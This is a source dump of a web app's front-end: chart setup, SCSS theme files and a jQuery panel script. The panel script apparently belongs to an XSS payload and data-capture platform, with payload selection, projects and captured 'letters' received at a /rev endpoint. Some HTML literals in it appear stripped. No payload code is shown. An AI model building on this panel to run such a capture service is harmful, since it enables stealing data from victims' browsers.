270 |   // Get context with jQuery - using jQuery's .get() method.
271 |   if ($("#barChart").length) {
272 |     var barChartCanvas = $("#barChart").get(0).getContext("2d");
273 |     // This will get the first returned node in the jQuery collection.
274 |     var barChart = new Chart(barChartCanvas, {
275 |       type: 'bar',
276 |       data: data,
277 |       options: options
278 |     });
279 |   }
280 | 
281 |   if ($("#lineChart").length) {
282 |     var lineChartCanvas = $("#lineChart").get(0).getContext("2d");
283 |     var lineChart = new Chart(lineChartCanvas, {
284 |       type: 'line',
285 |       data: data,
286 |       options: options
287 |     });
288 |   }
289 | 
290 |   if ($("#linechart-multi").length) {
291 |     var multiLineCanvas = $("#linechart-multi").get(0).getContext("2d");
292 |     var lineChart = new Chart(multiLineCanvas, {
293 |       type: 'line',
294 |       data: multiLineData,
295 |       options: options
296 |     });
297 |   }
298 | 
299 |   if ($("#areachart-multi").length) {
300 |     var multiAreaCanvas = $("#areachart-multi").get(0).getContext("2d");
301 |     var multiAreaChart = new Chart(multiAreaCanvas, {
302 |       type: 'line',
303 |       data: multiAreaData,
304 |       options: multiAreaOptions
305 |     });
306 |   }
307 | 
308 |   if ($("#doughnutChart").length) {
309 |     var doughnutChartCanvas = $("#doughnutChart").get(0).getContext("2d");
310 |     var doughnutChart = new Chart(doughnutChartCanvas, {
311 |       type: 'doughnut',
312 |       data: doughnutPieData,
313 |       options: doughnutPieOptions
314 |     });
315 |   }
316 | 
317 |   if ($("#pieChart").length) {
318 |     var pieChartCanvas = $("#pieChart").get(0).getContext("2d");
319 |     var pieChart = new Chart(pieChartCanvas, {
320 |       type: 'pie',
321 |       data: doughnutPieData,
322 |       options: doughnutPieOptions
323 |     });
324 |   }
325 | 
326 |   if ($("#areaChart").length) {
327 |     var areaChartCanvas = $("#areaChart").get(0).getContext("2d");
328 |     var areaChart = new Chart(areaChartCanvas, {
329 |       type: 'line',
330 |       data: areaData,
331 |       options: areaOptions
332 |     });
333 |   }
334 | 
335 |   if ($("#scatterChart").length) {
336 |     var scatterChartCanvas = $("#scatterChart").get(0).getContext("2d");
337 |     var scatterChart = new Chart(scatterChartCanvas, {
338 |       type: 'scatter',
339 |       data: scatterChartData,
340 |       options: scatterChartOptions
341 |     });
342 |   }
343 | 
344 |   if ($("#browserTrafficChart").length) {
345 |     var doughnutChartCanvas = $("#browserTrafficChart").get(0).getContext("2d");
346 |     var doughnutChart = new Chart(doughnutChartCanvas, {
347 |       type: 'doughnut',
348 |       data: browserTrafficData,
349 |       options: doughnutPieOptions
350 |     });
351 |   }
352 | });


--------------------------------------------------------------------------------
/static/user/js/misc.js:
--------------------------------------------------------------------------------
  1 | (function($) {
  2 |   'use strict';
  3 |   $(function() {
  4 |     var body = $('body');
  5 |     var contentWrapper = $('.content-wrapper');
  6 |     var scroller = $('.container-scroller');
  7 |     var footer = $('.footer');
  8 |     var sidebar = $('.sidebar');
  9 | 
 10 |     //Ajax获取explain
 11 | 	$('#selectPayload').change(function () {
 12 |         var payload_name = $(this).val();
 13 | 		if(payload_name !=='diy' && payload_name!=='0'){
 14 | 			$('#diypayload').remove();
 15 | 			if(payload_name === '基础Payload'){
 16 | 				$('#keep').append('
'); 17 | }else{ 18 | $('#keep1').remove(); 19 | } 20 | $.ajax({ 21 | type: "POST", 22 | url: "/user/ajax_payload_explain/", 23 | data: {payload_name}, 24 | success: function(msg){ 25 | var jsondic = JSON.parse(msg); 26 | $('#explain').html(jsondic.value); 27 | if(jsondic.parameter !== ''){ 28 | $('#addparameter').html('
'); 29 | }else{ 30 | $('#parameter').remove(); 31 | } 32 | } 33 | }); 34 | }else{ 35 | $('#parameter').remove(); 36 | $('#keep1').remove(); 37 | if(payload_name!=='0'){ 38 | $('#explain').html('自定义Payload:
参数:id(项目id,payload中使用平台url使用占位符(<-|HOST|->)代替、id占位符(<-|ID|->)代替、value(将作为信封内容存入数据库)
请求数据接受方式:GET和POST
请求地址: /rev'); 39 | $('#diy').append('
'); 40 | }else{ 41 | $('#diypayload').remove(); 42 | } 43 | } 44 | }); 45 | 46 | //弹出changepass窗口 47 | $('a[name="Userinfo"]').click(function () { 48 | $("body").append("
"); 49 | $("#mask").addClass("mask").fadeIn("slow"); 50 | $("#Userinfo").fadeIn("slow"); 51 | }); 52 | 53 | //Changepass事件 54 | $('button[name="changepass"]').click(function () { 55 | var newpass = $('#changepass').val(); 56 | var pass_copy = $('#passcopy').val(); 57 | var oldpass = $('#oldpass').val(); 58 | $("#Userinfo").fadeOut("fast"); 59 | if (newpass === pass_copy && newpass !== '' && oldpass !== '') { 60 | $.ajax({ 61 | type: "POST", 62 | url: "/user/changepass/", 63 | data: {newpass,oldpass}, 64 | success: function(msg){ 65 | var jsondic = JSON.parse(msg); 66 | if (jsondic.status !== 200){ 67 | $("#Failchange").fadeIn("slow"); 68 | }else{ 69 | $(location).prop('href', '/user/login'); 70 | } 71 | } 72 | }); 73 | }else{ 74 | $("#Failchange").fadeIn("slow"); 75 | } 76 | }); 77 | 78 | $('button[name="closechange"]').click(function () { 79 | $("#Userinfo").fadeOut("fast"); 80 | $("#mask").css({ display: 'none' }); 81 | }); 82 | 83 | 84 | $("button[name='addbutton']").click(function(){ 85 | var name = $('#name').val(); 86 | var describe = $('#describe').val(); 87 | var payload = $('#selectPayload').val(); 88 | var send_email=$('#send_email').is(':checked'); 89 | var check_par=$('#addparameter').html(); 90 | if(payload==='diy'){ 91 | var diy_payload = $('#payload_value').val(); 92 | var send_data = {name,describe,payload,send_email,diy_payload}; 93 | }else{ 94 | var send_data = {name,describe,payload,send_email}; 95 | } 96 | if(payload==='基础Payload'){ 97 | var send_email=$('#keep_alive').is(':checked'); 98 | send_data["send_email"] = send_email; 99 | } 100 | if(check_par!==''){ 101 | var parameter = $('#parameter_val').val(); 102 | send_data["parameter"] = parameter; 103 | } 104 | $.ajax({ 105 | type: "POST", 106 | url: "/user/ajax_add_project/", 107 | data: send_data, 108 | success: function(msg){ 109 | var jsondic = JSON.parse(msg); 110 | if (jsondic.status === 200){ 111 | $(location).prop('href', '/user/project'); 112 | }else{ 113 | alert(jsondic.value); 114 | } 115 | } 116 | }); 117 | 118 | }); 119 | 120 | //弹出信封内容 121 | $("button[name='letterid']").on('click', function () { 122 | $("#value").empty(); 123 | var letterid=$(this).val(); 124 |   $.ajax({ 125 | type: "POST", 126 |     url : "/user/ajax_letter_value/", 127 | data: {letterid}, 128 |    success : function(msg){ 129 | var jsondic = JSON.parse(msg); 130 | if (jsondic.status === 200){ 131 | $("#value").val(jsondic.value); 132 | $("body").append("
"); 133 | $("#mask").addClass("mask").fadeIn("slow"); 134 | $("#Letterinfo").fadeIn("slow"); 135 | } 136 |    }}); 137 | }); 138 | 139 | //关闭按钮 140 | $(".close_btn").hover(function () { $(this).css({ color: 'black' }) }, function () { $(this).css({ color: '#999' }) }).on('click', function () { 141 | $("#Letterinfo").fadeOut("fast"); 142 | $("#Failchange").fadeOut("fast"); 143 | $("#mask").css({ display: 'none' }); 144 | }); 145 | 146 | //删除信封 147 | $("button[name='delletter']").click(function(){ 148 | var letterid=$(this).val(); 149 |   $.ajax({ 150 | type: "POST", 151 |     url : "/user/ajax_del_letter/", 152 | data: {letterid}, 153 |    success : function(msg){ 154 | var jsondic = JSON.parse(msg); 155 | if (jsondic.status === 200){ 156 | window.location.reload(); 157 | } 158 |    }}); 159 | }); 160 | 161 | //删除项目 162 | $("button[name='delproject']").click(function(){ 163 | var projectid=$(this).val(); 164 |   $.ajax({ 165 | type: "POST", 166 |     url : "/user/ajax_del_project/", 167 | data: {projectid}, 168 |    success : function(msg){ 169 | var jsondic = JSON.parse(msg); 170 | if (jsondic.status === 200){ 171 | window.location.reload(); 172 | } 173 |    }}); 174 | }); 175 | 176 | 177 | //Add active class to nav-link based on url dynamically 178 | //Active class can be hard coded directly in html file also as required 179 | var current = location.pathname.split("/").slice(-1)[0].replace(/^\/|\/$/g, ''); 180 | $('.nav li a', sidebar).each(function() { 181 | var $this = $(this); 182 | if (current === "") { 183 | //for root url 184 | if ($this.attr('href').indexOf("index.html") !== -1) { 185 | $(this).parents('.nav-item').last().addClass('active'); 186 | if ($(this).parents('.sub-menu').length) { 187 | $(this).closest('.collapse').addClass('show'); 188 | $(this).addClass('active'); 189 | } 190 | } 191 | } else { 192 | //for other url 193 | if ($this.attr('href').indexOf(current) !== -1) { 194 | $(this).parents('.nav-item').last().addClass('active'); 195 | if ($(this).parents('.sub-menu').length) { 196 | $(this).closest('.collapse').addClass('show'); 197 | $(this).addClass('active'); 198 | } 199 | } 200 | } 201 | }) 202 | 203 | //Close other submenu in sidebar on opening any 204 | 205 | sidebar.on('show.bs.collapse', '.collapse', function() { 206 | sidebar.find('.collapse.show').collapse('hide'); 207 | }); 208 | 209 | 210 | //Change sidebar and content-wrapper height 211 | applyStyles(); 212 | 213 | function applyStyles() { 214 | //Applying perfect scrollbar 215 | if (!body.hasClass("rtl")) { 216 | if ($('.tab-content .tab-pane.scroll-wrapper').length) { 217 | const settingsPanelScroll = new PerfectScrollbar('.settings-panel .tab-content .tab-pane.scroll-wrapper'); 218 | } 219 | if ($('.chats').length) { 220 | const chatsScroll = new PerfectScrollbar('.chats'); 221 | } 222 | } 223 | } 224 | 225 | //checkbox and radios 226 | $(".form-check label,.form-radio label").append(''); 227 | 228 | //fullscreen 229 | $("#fullscreen-button").on("click", function toggleFullScreen() { 230 | if ((document.fullScreenElement !== undefined && document.fullScreenElement === null) || (document.msFullscreenElement !== undefined && document.msFullscreenElement === null) || (document.mozFullScreen !== undefined && !document.mozFullScreen) || (document.webkitIsFullScreen !== undefined && !document.webkitIsFullScreen)) { 231 | if (document.documentElement.requestFullScreen) { 232 | document.documentElement.requestFullScreen(); 233 | } else if (document.documentElement.mozRequestFullScreen) { 234 | document.documentElement.mozRequestFullScreen(); 235 | } else if (document.documentElement.webkitRequestFullScreen) { 236 | document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT); 237 | } else if (document.documentElement.msRequestFullscreen) { 238 | document.documentElement.msRequestFullscreen(); 239 | } 240 | } else { 241 | if (document.cancelFullScreen) { 242 | document.cancelFullScreen(); 243 | } else if (document.mozCancelFullScreen) { 244 | document.mozCancelFullScreen(); 245 | } else if (document.webkitCancelFullScreen) { 246 | document.webkitCancelFullScreen(); 247 | } else if (document.msExitFullscreen) { 248 | document.msExitFullscreen(); 249 | } 250 | } 251 | }) 252 | }); 253 | })(jQuery); -------------------------------------------------------------------------------- /static/user/js/off-canvas.js: -------------------------------------------------------------------------------- 1 | (function($) { 2 | 'use strict'; 3 | $(function() { 4 | $('[data-toggle="offcanvas"]').on("click", function() { 5 | $('.sidebar-offcanvas').toggleClass('active') 6 | }); 7 | }); 8 | })(jQuery); -------------------------------------------------------------------------------- /static/user/scss/_background.scss: -------------------------------------------------------------------------------- 1 | /* Backgrounds */ 2 | @each $color, $value in $theme-gradient-colors { 3 | .bg-gradient-#{$color} { 4 | background: theme-gradient-color($color); 5 | } 6 | } 7 | 8 | .sidebar-grdient-dark{ 9 | background: rgba(106,0,138,1); 10 | background: -moz-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 11 | background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(106,0,138,1)), color-stop(20%, rgba(106,0,138,1)), color-stop(100%, rgba(250,0,83,1))); 12 | background: -webkit-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 13 | background: -o-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 14 | background: -ms-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 15 | background: linear-gradient(to bottom, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 16 | filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#6a008a', endColorstr='#fa0053', GradientType=0 ); 17 | color: $white; 18 | } -------------------------------------------------------------------------------- /static/user/scss/_demo.scss: -------------------------------------------------------------------------------- 1 | /* Demo Styles */ 2 | // Add spacing to Boostrap components for demo purpose 3 | .template-demo { 4 | > .btn { 5 | @extend .mt-3; 6 | @extend .mr-3; 7 | } 8 | 9 | > .btn-toolbar { 10 | @extend .mt-3; 11 | @extend .mr-3; 12 | } 13 | 14 | > .btn-group, 15 | > .btn-group-vertical { 16 | @extend .mt-2; 17 | @extend .mr-2; 18 | } 19 | 20 | > h2, 21 | > h3, 22 | > h4, 23 | > h5, 24 | > h6, 25 | > h1 { 26 | border-top: 1px solid $border-color; 27 | padding: 0.5rem 0 0; 28 | } 29 | 30 | > .dropdown { 31 | display: inline-block; 32 | @extend .mr-2; 33 | margin-bottom: 0.5rem; 34 | } 35 | 36 | nav { 37 | .breadcrumb { 38 | margin-bottom: 1.375rem; 39 | } 40 | 41 | &:last-child { 42 | .breadcrumb { 43 | margin-bottom: 0; 44 | } 45 | } 46 | } 47 | } 48 | 49 | .dropdown-menu-static-demo { 50 | height: 250px; 51 | margin-bottom: 20px; 52 | } 53 | 54 | .rounded-legend { 55 | ul { 56 | li { 57 | list-style-type: none; 58 | color: $text-muted; 59 | font-size: .75rem; 60 | .legend-dots { 61 | width: 1rem; 62 | height: 1rem; 63 | border-radius: 100%; 64 | display: inline-block; 65 | vertical-align: text-bottom; 66 | margin-right: .5rem; 67 | .rtl & { 68 | margin-left: .5rem; 69 | } 70 | } 71 | } 72 | } 73 | &.legend-horizontal { 74 | @include display-flex; 75 | ul { 76 | li { 77 | display: inline-block; 78 | margin-right: 1.5rem; 79 | .rtl & { 80 | margin-right: auto; 81 | margin-left: 1.5rem; 82 | } 83 | } 84 | } 85 | } 86 | &.legend-top-right { 87 | ul { 88 | float: right; 89 | .rtl & { 90 | float: left; 91 | } 92 | } 93 | } 94 | &.legend-vertical { 95 | ul { 96 | li { 97 | margin-top: 1rem; 98 | } 99 | } 100 | } 101 | } 102 | .purchase-popup { 103 | @extend .grid-margin; 104 | background: rgba(191, 187, 187, 0.46); 105 | padding: 15px 20px; 106 | @include border-radius(3px); 107 | 108 | .btn { 109 | margin-right: 20px; 110 | font-weight: 500; 111 | color: $white; 112 | @include border-radius(5px); 113 | @include transition-duration(0.2s); 114 | 115 | &.download-button { 116 | background: rgba(249, 249, 249, 0.7); 117 | color: #969292; 118 | border: 1px solid darken(#e4e4e4,10%); 119 | } 120 | 121 | &.purchase-button { 122 | background-color: rgba(172, 50 ,228, 0.9); 123 | @include background-image(theme-gradient-color(primary)); 124 | color: $white; 125 | border: none; 126 | line-height: 1; 127 | vertical-align: middle; 128 | } 129 | } 130 | 131 | p { 132 | margin-bottom: auto; 133 | margin-top: auto; 134 | color: darken(#e4e4e4,40%); 135 | font-weight: 400; 136 | vertical-align: middle; 137 | line-height: 1; 138 | } 139 | 140 | i { 141 | vertical-align: middle; 142 | line-height: 1; 143 | margin: auto 0; 144 | color: darken(#e4e4e4,20%); 145 | } 146 | } -------------------------------------------------------------------------------- /static/user/scss/_fonts.scss: -------------------------------------------------------------------------------- 1 | /* Fonts */ 2 | 3 | //PT_Sans 4 | @font-face { 5 | font-family: 'ubuntu-light'; 6 | src: url('../fonts/Ubuntu/Ubuntu-Light.eot'); /* IE9 Compat Modes */ 7 | src: url('../fonts/Ubuntu/Ubuntu-Light.woff2') format('woff2'), /* Super Modern Browsers */ 8 | url('../fonts/Ubuntu/Ubuntu-Light.woff') format('woff'), /* Pretty Modern Browsers */ 9 | url('../fonts/Ubuntu/Ubuntu-Light.ttf') format('truetype'), /* Safari, Android, iOS */ 10 | } 11 | @font-face { 12 | font-family: 'ubuntu-regular'; 13 | src: url('../fonts/Ubuntu/Ubuntu-Regular.eot'); /* IE9 Compat Modes */ 14 | src: url('../fonts/Ubuntu/Ubuntu-Regular.woff2') format('woff2'), /* Super Modern Browsers */ 15 | url('../fonts/Ubuntu/Ubuntu-Regular.woff') format('woff'), /* Pretty Modern Browsers */ 16 | url('../fonts/Ubuntu/Ubuntu-Regular.ttf') format('truetype'), /* Safari, Android, iOS */ 17 | } 18 | @font-face { 19 | font-family: 'ubuntu-medium'; 20 | src: url('../fonts/Ubuntu/Ubuntu-Medium.eot'); /* IE9 Compat Modes */ 21 | src: url('../fonts/Ubuntu/Ubuntu-Medium.woff2') format('woff2'), /* Super Modern Browsers */ 22 | url('../fonts/Ubuntu/Ubuntu-Medium.woff') format('woff'), /* Pretty Modern Browsers */ 23 | url('../fonts/Ubuntu/Ubuntu-Medium.ttf') format('truetype'), /* Safari, Android, iOS */ 24 | } 25 | @font-face { 26 | font-family: 'ubuntu-bold'; 27 | src: url('../fonts/Ubuntu/Ubuntu-Bold.eot'); /* IE9 Compat Modes */ 28 | src: url('../fonts/Ubuntu/Ubuntu-Bold.woff2') format('woff2'), /* Super Modern Browsers */ 29 | url('../fonts/Ubuntu/Ubuntu-Bold.woff') format('woff'), /* Pretty Modern Browsers */ 30 | url('../fonts/Ubuntu/Ubuntu-Bold.ttf') format('truetype'), /* Safari, Android, iOS */ 31 | } 32 | -------------------------------------------------------------------------------- /static/user/scss/_footer.scss: -------------------------------------------------------------------------------- 1 | /* Footer */ 2 | 3 | .footer { 4 | background: $footer-bg; 5 | color: $footer-color; 6 | padding: 30px 1rem; 7 | transition: all $action-transition-duration $action-transition-timing-function; 8 | -moz-transition: all $action-transition-duration $action-transition-timing-function; 9 | -webkit-transition: all $action-transition-duration $action-transition-timing-function; 10 | -ms-transition: all $action-transition-duration $action-transition-timing-function; 11 | font-size: calc(#{$default-font-size} - 0.05rem); 12 | font-family: $type1-regular; 13 | border-top: 1px solid darken($footer-bg, 10%); 14 | a { 15 | color: theme-color(success); 16 | font-size: inherit; 17 | } 18 | @media (max-width: 991px) { 19 | margin-left: 0; 20 | width: 100%; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /static/user/scss/_functions.scss: -------------------------------------------------------------------------------- 1 | // Functions 2 | 3 | @function social-color($key: "twitter") { 4 | @return map-get($social-colors, $key); 5 | } 6 | 7 | @function theme-gradient-color($key: "primary") { 8 | @return map-get($theme-gradient-colors, $key); 9 | } -------------------------------------------------------------------------------- /static/user/scss/_misc.scss: -------------------------------------------------------------------------------- 1 | /* Miscellanoeous */ 2 | body, 3 | html { 4 | overflow-x: hidden; 5 | padding-right: 0 !important; // resets padding right added by Bootstrap modal 6 | } 7 | 8 | *:-moz-full-screen, 9 | *:-webkit-full-screen, 10 | *:fullscreen *:-ms-fullscreen { 11 | overflow: auto; 12 | } 13 | 14 | .page-body-wrapper { 15 | min-height: calc(100vh - #{$navbar-height}); 16 | @include display-flex(); 17 | @include flex-direction(row); 18 | padding-left: 0; 19 | padding-right: 0; 20 | padding-top: $navbar-height; 21 | 22 | &.full-page-wrapper { 23 | width: 100%; 24 | min-height: 100vh; 25 | padding-top: 0; 26 | } 27 | } 28 | 29 | .main-panel { 30 | transition: width $action-transition-duration $action-transition-timing-function, margin $action-transition-duration $action-transition-timing-function; 31 | width: calc(100% - #{$sidebar-width-lg}); 32 | min-height: calc(100vh - #{$navbar-height}); 33 | @include display-flex(); 34 | @include flex-direction(column); 35 | @media (max-width: 991px) { 36 | margin-left: 0; 37 | width: 100%; 38 | } 39 | } 40 | 41 | .content-wrapper { 42 | background: $content-bg; 43 | padding: 2.75rem 2.25rem; 44 | width: 100%; 45 | @include flex-grow(1); 46 | } 47 | 48 | .container-scroller { 49 | overflow: hidden; 50 | } 51 | 52 | pre { 53 | background: color(gray-lighter); 54 | padding: 15px; 55 | font-size: 14px; 56 | } 57 | 58 | code { 59 | padding: 5px; 60 | color: theme-color(danger); 61 | font-family: $type1-light; 62 | font-size: $default-font-size; 63 | border-radius: 4px; 64 | } 65 | 66 | .page-header { 67 | @extend .d-flex; 68 | @extend .justify-content-between; 69 | @extend .align-items-center; 70 | margin: 0 0 1.5rem 0; 71 | .breadcrumb { 72 | border: 0; 73 | margin-bottom: 0; 74 | } 75 | } 76 | .page-title { 77 | color: $black; 78 | font-size: 1.125rem; 79 | margin-bottom: 0; 80 | .page-title-icon { 81 | display: inline-block; 82 | width: 36px; 83 | height: 36px; 84 | border-radius: 4px; 85 | text-align: center; 86 | box-shadow: 0px 3px 8.3px 0.7px rgba(163, 93, 255, 0.35); 87 | i { 88 | font-size: .9375rem; 89 | line-height: 36px; 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /static/user/scss/_reset.scss: -------------------------------------------------------------------------------- 1 | /* Reset Styles */ 2 | 3 | body { 4 | padding: 0; 5 | margin: 0; 6 | overflow-x: hidden; 7 | } 8 | 9 | .form-control, 10 | .form-control:focus { 11 | -webkit-box-shadow: none; 12 | -moz-box-shadow: none 13 | } 14 | 15 | .form-control { 16 | box-shadow: none 17 | } 18 | 19 | .form-control:focus { 20 | outline: 0; 21 | box-shadow: none 22 | } 23 | 24 | a, 25 | div, 26 | h1, 27 | h2, 28 | h3, 29 | h4, 30 | h5, 31 | p, 32 | span { 33 | text-shadow: none 34 | } 35 | 36 | [type=button]:focus, 37 | a:active, 38 | a:focus, 39 | a:visited, 40 | button::-moz-focus-inner, 41 | input[type=reset]::-moz-focus-inner, 42 | input[type=button]::-moz-focus-inner, 43 | input[type=submit]::-moz-focus-inner, 44 | input[type=file]>input[type=button]::-moz-focus-inner, 45 | select::-moz-focus-inner { 46 | outline: 0 47 | } 48 | 49 | input, 50 | .form-control:focus, 51 | input:focus, 52 | select:focus, 53 | textarea:focus, 54 | button:focus { 55 | outline: none; 56 | outline-width: 0; 57 | outline-color: transparent; 58 | box-shadow: none; 59 | outline-style: none; 60 | } 61 | 62 | textarea { 63 | resize: none; 64 | overflow-x: hidden; 65 | } 66 | 67 | .btn, 68 | .btn-group.open .dropdown-toggle, 69 | .btn:active, 70 | .btn:focus, 71 | .btn:hover, 72 | .btn:visited, 73 | a, 74 | a:active, 75 | a:checked, 76 | a:focus, 77 | a:hover, 78 | a:visited, 79 | body, 80 | button, 81 | button:active, 82 | button:hover, 83 | button:visited, 84 | div, 85 | input, 86 | input:active, 87 | input:focus, 88 | input:hover, 89 | input:visited, 90 | select, 91 | select:active, 92 | select:focus, 93 | select:visited, 94 | textarea, 95 | textarea:active, 96 | textarea:focus, 97 | textarea:hover, 98 | textarea:visited { 99 | -webkit-box-shadow: none; 100 | -moz-box-shadow: none; 101 | box-shadow: none 102 | } 103 | 104 | .btn.active.focus, 105 | .btn.active:focus, 106 | .btn.focus, 107 | .btn:active.focus, 108 | .btn:active:focus, 109 | .btn:focus, 110 | button, 111 | button:active, 112 | button:checked, 113 | button:focus, 114 | button:hover, 115 | button:visited { 116 | outline: 0; 117 | outline-offset: 0 118 | } 119 | 120 | .bootstrap-select .dropdown-toggle:focus { 121 | outline: 0 ; 122 | outline-offset: 0; 123 | } 124 | 125 | .dropdown-menu>li>a:active, 126 | .dropdown-menu>li>a:focus, 127 | .dropdown-menu>li>a:hover, 128 | .dropdown-menu>li>a:visited { 129 | outline: 0; 130 | } 131 | 132 | a:focus, 133 | input:focus { 134 | border-color: transparent; 135 | outline: none 136 | } 137 | -------------------------------------------------------------------------------- /static/user/scss/_sidebar.scss: -------------------------------------------------------------------------------- 1 | /* Sidebar */ 2 | 3 | .sidebar { 4 | min-height: calc(100vh - #{$navbar-height}); 5 | background: $sidebar-light-bg; 6 | font-family: $type1-regular; 7 | padding: 0; 8 | width: $sidebar-width-lg; 9 | z-index: 11; 10 | transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 11 | -webkit-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 12 | -moz-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 13 | -ms-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 14 | 15 | .nav { 16 | overflow: hidden; 17 | flex-wrap: nowrap; 18 | flex-direction: column; 19 | margin-bottom: 60px; 20 | 21 | .nav-item { 22 | padding:0 $sidebar-menu-padding-x; 23 | @include transition-duration(0.25s); 24 | transition-property: background; 25 | -webkit-transition-property: background; 26 | .collapse { 27 | z-index: 999; 28 | } 29 | 30 | .nav-link { 31 | @include display-flex; 32 | @include align-items(center); 33 | white-space: nowrap; 34 | padding:$sidebar-menu-padding-y 0 $sidebar-menu-padding-y 0; 35 | color: $sidebar-light-menu-color; 36 | @include transition-duration(0.45s); 37 | transition-property: color; 38 | -webkit-transition-property: color; 39 | 40 | i { 41 | color: inherit; 42 | 43 | &.menu-icon { 44 | font-size: $sidebar-icon-font-size; 45 | line-height: 1; 46 | margin-left: auto; 47 | color: $sidebar-light-menu-icon-color; 48 | &:before { 49 | vertical-align: middle; 50 | } 51 | } 52 | 53 | &.menu-arrow { 54 | font: normal normal normal 24px/1 "Material Design Icons"; 55 | line-height: 1; 56 | font-size: $sidebar-icon-font-size; 57 | margin-left: auto; 58 | color: $sidebar-light-menu-arrow-color; 59 | &:before{ 60 | content: "\f141"; 61 | font-size: inherit; 62 | color: inherit; 63 | } 64 | + .menu-icon { 65 | margin-left: .25rem; 66 | } 67 | } 68 | } 69 | 70 | .menu-title { 71 | color: inherit; 72 | display: inline-block; 73 | font-size: $sidebar-menu-font-size; 74 | line-height: 1; 75 | vertical-align: middle; 76 | } 77 | 78 | .badge { 79 | margin-right: auto; 80 | margin-left: 1rem; 81 | } 82 | 83 | &[aria-expanded="true"]{ 84 | .menu-arrow{ 85 | &:before{ 86 | content: "\f140"; 87 | } 88 | } 89 | } 90 | } 91 | 92 | &.active { 93 | background: $sidebar-light-menu-active-bg; 94 | > .nav-link { 95 | .menu-title { 96 | color: $sidebar-light-menu-active-color; 97 | font-family: $type1-medium; 98 | } 99 | i { 100 | color: theme-color(primary); 101 | } 102 | } 103 | } 104 | &:hover{ 105 | background: $sidebar-light-menu-hover-bg; 106 | } 107 | &.nav-profile { 108 | .nav-link { 109 | height: auto; 110 | line-height: 1; 111 | border-top: 0; 112 | padding: 1.25rem 0; 113 | .nav-profile-image { 114 | width: 44px; 115 | height: 44px; 116 | img { 117 | width: 44px; 118 | height: 44px; 119 | border-radius: 100%; 120 | } 121 | } 122 | .nav-profile-text { 123 | margin-left: 1rem; 124 | } 125 | .nav-profile-badge { 126 | font-size: 1.125rem; 127 | margin-left: auto; 128 | } 129 | } 130 | } 131 | &.sidebar-actions { 132 | margin-top: 1rem; 133 | .nav-link { 134 | border-top: 0; 135 | display: block; 136 | height: auto; 137 | } 138 | &:hover { 139 | background: initial; 140 | .nav-link { 141 | color: initial; 142 | } 143 | } 144 | } 145 | } 146 | 147 | &:not(.sub-menu) { 148 | > .nav-item { 149 | &:hover { 150 | &:not(.nav-category):not(.nav-profile) { 151 | > .nav-link { 152 | color: $sidebar-light-menu-hover-color; 153 | } 154 | } 155 | } 156 | } 157 | } 158 | &.sub-menu { 159 | margin-bottom: 20px; 160 | margin-top:0; 161 | list-style: none; 162 | 163 | .nav-item { 164 | padding: 0; 165 | .nav-link { 166 | color: $sidebar-light-submenu-color; 167 | padding: $sidebar-submenu-item-padding; 168 | position: relative; 169 | font-size: $sidebar-submenu-font-size; 170 | line-height: 1; 171 | height: auto; 172 | border-top: 0; 173 | &:before { 174 | content: "\F054"; 175 | font-family: "Material Design Icons"; 176 | display: block; 177 | position: absolute; 178 | left:0px; 179 | top:50%; 180 | @include transform(translateY(-50%)); 181 | color: lighten($sidebar-light-submenu-color, 10%); 182 | font-size: .75rem; 183 | } 184 | &.active { 185 | color: $sidebar-light-menu-active-color; 186 | background: transparent; 187 | } 188 | &:hover { 189 | color: $sidebar-light-submenu-hover-color; 190 | } 191 | } 192 | &:hover { 193 | background: transparent; 194 | } 195 | } 196 | } 197 | } 198 | } 199 | 200 | /* style for off-canvas menu*/ 201 | @media screen and (max-width: 991px) { 202 | .sidebar-offcanvas { 203 | position: fixed; 204 | max-height: calc(100vh - #{$navbar-height}); 205 | top: $navbar-height; 206 | bottom: 0; 207 | overflow: auto; 208 | right: -$sidebar-width-lg; 209 | -webkit-transition: all 0.25s ease-out; 210 | -o-transition: all 0.25s ease-out; 211 | transition: all 0.25s ease-out; 212 | &.active { 213 | right: 0; 214 | } 215 | } 216 | } -------------------------------------------------------------------------------- /static/user/scss/_typography.scss: -------------------------------------------------------------------------------- 1 | /* Typography */ 2 | 3 | body { 4 | font-size: 1rem; 5 | font-family: $type1-regular; 6 | font-weight: initial; 7 | line-height: normal; 8 | -webkit-font-smoothing: antialiased; 9 | } 10 | h1, 11 | h2, 12 | h3, 13 | h4, 14 | h5, 15 | h6, 16 | .h1, 17 | .h2, 18 | .h3, 19 | .h4, 20 | .h5, 21 | .h6 { 22 | font-family: $type1-medium; 23 | } 24 | p { 25 | font-size: $default-font-size; 26 | } 27 | h1, 28 | .h1 { 29 | font-size: 2.19rem; 30 | } 31 | h2, 32 | .h2 { 33 | font-size: 1.88rem; 34 | } 35 | h3, 36 | .h3 { 37 | font-size: 1.56rem; 38 | } 39 | h4, 40 | .h4 { 41 | font-size: 1.13rem; 42 | } 43 | h5, 44 | .h5 { 45 | font-size: 1rem; 46 | } 47 | h6, 48 | .h6 { 49 | font-size: .9375rem; 50 | } 51 | p { 52 | font-size: .9375rem; 53 | line-height: 1.5; 54 | } 55 | .display-1 { 56 | font-size: 3.75rem; 57 | @media (max-width: 991px) { 58 | font-size: 3rem; 59 | } 60 | } 61 | .display-2 { 62 | font-size: 3.125rem; 63 | @media (max-width: 991px) { 64 | font-size: 2.5rem; 65 | } 66 | } 67 | .display-3 { 68 | font-size: 2.5rem; 69 | @media (max-width: 991px) { 70 | font-size: 2rem; 71 | } 72 | } 73 | .display-4 { 74 | 